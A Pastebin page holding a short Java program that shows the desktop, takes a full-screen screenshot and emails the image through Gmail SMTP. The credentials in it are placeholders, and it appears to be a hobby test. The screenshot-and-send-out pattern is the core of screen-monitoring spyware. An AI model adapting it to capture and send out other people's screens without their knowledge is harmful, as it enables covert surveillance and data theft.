Advertisement
Guest User

Robot

a guest
Nov 10th, 2017
254
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.97 KB | None | 0 0
  1. package pl.patryk.program;
  2.  
  3. import java.awt.AWTException;
  4. import java.awt.Dimension;
  5. import java.awt.Rectangle;
  6. import java.awt.Robot;
  7. import java.awt.Toolkit;
  8. import java.awt.datatransfer.Clipboard;
  9. import java.awt.datatransfer.StringSelection;
  10. import java.awt.event.KeyEvent;
  11. import java.awt.image.BufferedImage;
  12. import java.io.File;
  13. import java.io.IOException;
  14.  
  15. import javax.activation.FileDataSource;
  16. import javax.imageio.ImageIO;
  17.  
  18. import org.simplejavamail.email.Email;
  19. import org.simplejavamail.email.EmailBuilder;
  20. import org.simplejavamail.mailer.Mailer;
  21. import org.simplejavamail.mailer.config.ServerConfig;
  22. import org.simplejavamail.mailer.config.TransportStrategy;
  23.  
  24. public class Program {
  25.     static Robot robot;
  26.  
  27.     public Program() {
  28.         try {
  29.             robot = new Robot();
  30.         } catch (AWTException e) {
  31.             // TODO Auto-generated catch block
  32.             e.printStackTrace();
  33.         }
  34.     }
  35.  
  36.     public static void type(String characters) {
  37.         Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
  38.         StringSelection stringSelection = new StringSelection(characters);
  39.         clipboard.setContents(stringSelection, stringSelection);
  40.         // control+V is for pasting...
  41.         robot.keyPress(KeyEvent.VK_CONTROL);
  42.         robot.keyPress(KeyEvent.VK_V);
  43.         robot.keyRelease(KeyEvent.VK_V);
  44.         robot.keyRelease(KeyEvent.VK_CONTROL);
  45.         robot.delay(100);
  46.         robot.keyPress(KeyEvent.VK_ENTER);
  47.  
  48.     }
  49.  
  50.     public static void desktop() {
  51.         robot.keyPress(KeyEvent.VK_WINDOWS);
  52.         robot.keyPress(KeyEvent.VK_D);
  53.         robot.keyRelease(KeyEvent.VK_WINDOWS);
  54.         robot.keyRelease(KeyEvent.VK_D);
  55.  
  56.     }
  57.  
  58.     public void startProcess() {
  59.         try {
  60.             Process process = new ProcessBuilder("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
  61.                     "www.google.pl").start();
  62.         } catch (IOException e) {
  63.             // TODO Auto-generated catch block
  64.             e.printStackTrace();
  65.         }
  66.     }
  67.  
  68.     public void screenCapture() {
  69.         // pobieramy rozmiar ekranu i tworzymy Rectangle
  70.         Dimension dimension = Toolkit.getDefaultToolkit().getScreenSize();
  71.         Rectangle rectangle = new Rectangle(dimension);
  72.         // robimy screenshot z utworzonego obszaru
  73.         BufferedImage screen = robot.createScreenCapture(rectangle);
  74.         try {
  75.             ImageIO.write(screen, "jpg", new File("screenshot.jpg"));
  76.         } catch (IOException e) {
  77.             System.err.println("Błąd zapisu obrazu");
  78.             e.printStackTrace();
  79.         }
  80.     }
  81.  
  82.     public static void main(String[] args) {
  83.  
  84.         Program test = new Program();
  85.         test.robot.delay(30);
  86.         // test.startProcess();
  87.         test.desktop();
  88.         // test.type("www.google.pl");
  89.         test.robot.delay(1000);
  90.         test.screenCapture();
  91.         test.robot.delay(1500);
  92.         //
  93.         Email email = new EmailBuilder().from("abcdefg", "abcdefg@gmail.com")
  94.                 .to("Patryk", "abcdefg@gmail.com").subject("Screen").text("screen").build();
  95.         email.addAttachment("screenshot.jpg", new FileDataSource("screenshot.jpg"));
  96.  
  97.         new Mailer(new ServerConfig("smtp.gmail.com", 465, "abcdefg@gmail.com", "password"),
  98.                 TransportStrategy.SMTP_SSL).sendMail(email);
  99.  
  100.     }
  101.  
  102. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement